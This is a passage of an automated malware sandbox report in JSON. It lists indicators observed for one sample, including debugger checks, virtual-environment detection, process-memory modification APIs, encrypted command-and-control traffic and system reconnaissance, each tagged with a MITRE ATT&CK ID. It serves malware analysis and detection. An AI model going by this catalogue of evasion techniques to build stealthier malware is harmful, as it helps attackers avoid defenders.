\"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"saved.exe\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"saved.exe\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00008744-00000BC0-510659898\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004572.00000000.95398.D2C60000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\pipe\\PSHost.133905130077342330.4460.DefaultAppDomain.powershell; Source: \"00000000-00004460-00000C56-487144884\")\n Found string - \\\\.\\pipe\\PSHost.133905130129180816.7072.DefaultAppDomain.powershell; Source: \"00000000-00007072-00000C56-493298426\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Loads the debugger/analysis tool module","description":"\"tasklist.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at EFF10000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Spawns Windows crash diagnostic and reporting process","description":"Process \"WerFault.exe\" [UID: 00000000-00004672]\n Process \"WerFault.exe\" [UID: 00000000-00006584]\n Process \"WerFault.exe\" [UID: 00000000-00009024]\n Process \"WerFault.exe\" [UID: 00000000-00007820]\n Process \"WerFault.exe\" [UID: 00000000-00006992]","origin":"Monitored Target","mitre_attack_id":"T1564","relevance":1,"id":"target-585","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \"\" is zero\n Raw size of \"UPX0\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"DecryptFileA\" (Indicator: \"DecryptFile\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"DecryptFileA\" (Indicator: \"DecryptFile\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00000860.00000000.92190.00A40000.00000004.mdmp\")\n Found reference to API \"DecryptFileA\" (Indicator: \"DecryptFile\"; Source: \"00000000-00000860.00000000.92190.01241000.00000020.mdmp\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004104.00000000.95884.7FD40000.00000004.mdmp\")\n Found reference to API \"DecryptFileA\" (Indicator: \"DecryptFile\"; Source: \"00000000-00007396.00000000.92259.01381000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"Validation of public key failed.\" (Indicator: \"public key\"; Source: \"00000000-00004572.00000000.95398.D2C60000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"private key\"; Source: \"00000000-00004572.00000000.95398.D2C60000.00000002.mdmp\")\n Found string \"The Software Licensing Service reported that the product could not be activated. The certificate cannot be used because its private key is exportable.\" (Indicator: \"private key\"; Source: \"00000000-00004572.00000000.95398.D2C60000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.9941814156424735","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2d","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Contains ability to create a new HTTP request (API string)\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Contains ability to create a HTTP or FTP session (API string)\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Spawned process connects to a network\n Matched sigs: Detected Suricata Alert - CnC Activity","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; File: \"nircmd.exe\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00008536-00000C2A-465033541\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004460-00000C2A-484854532\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"1H12M2.exe\" called \"GetForegroundWindow\" (UID: 00000000-00001224)\n \"2O4405.exe\" called \"GetForegroundWindow\" (UID: 00000000-00001812)\n \"3Y00Z.exe\" called \"GetForegroundWindow\" (UID: 00000000-00008536)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"3Y00Z.exe\" called \"IsWow64Process\" with parameter \"8536\" - (UID: 00000000-00008536)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"4460\" - (UID: 00000000-00004460)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"7072\" - (UID: 00000000-00007072)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004460)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00007072)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00008744)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"1H12M2.exe\" called \"GetWindowTextW\" with parameter \"%LOCALAPPDATA%\\Temp\" - (UID: 00000000-00001224)\n \"2O4405.exe\" called \"GetWindowTextW\" (UID: 00000000-00001812)\n \"3Y00Z.exe\" called \"GetWindowTextA\" (UID: 00000000-00008536)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000860)\n \"F2a97.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007396)\n \"1H12M2.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001224)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$30","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00004460)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00004460)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00007072)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00007072)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00008744)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"1H12M2.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00001224)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"1H12M2.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00001224)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an APIs used to retrieve geographical location information","description":"Observed import api \"getaddrinfo\" which can be \"used to convert host name to address\" [Source: saved.exe]","origin":"Static Parser","mitre_attack_id":"T1082","relevance":5,"id":"static-190","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an APIs used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: F2a97.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: 7z.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: saved.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: NSudoLG.exe]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"EnumSystemLocalesW\" (Indicator: \"EnumSystemLocales\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$31","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"ExpandEnvironmentStringsA\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetMonitorInfoA\" (Indicator: \"GetMonitorInfo\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve local groups information","description":"file/memory contains long string with (Indicator: \"net localgroup\"; File: \"saved.exe\")","origin":"File/Memory","mitre_attack_id":"T1069.001","relevance":1,"id":"string-526","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"NetServerGetInfo\" (Indicator: \"NetServerGetInfo\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"cmd.exe /c ver\") in Source: 00000000-00009132-00000C45-48865198044\n Observed string: \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"/c ver\") in Source: 00000000-00009132-00000C45-48865198044\n Observed string: \"/c ver\" (Indicator: \"/c ver\") in Source: cmd.exe","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"$34","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API 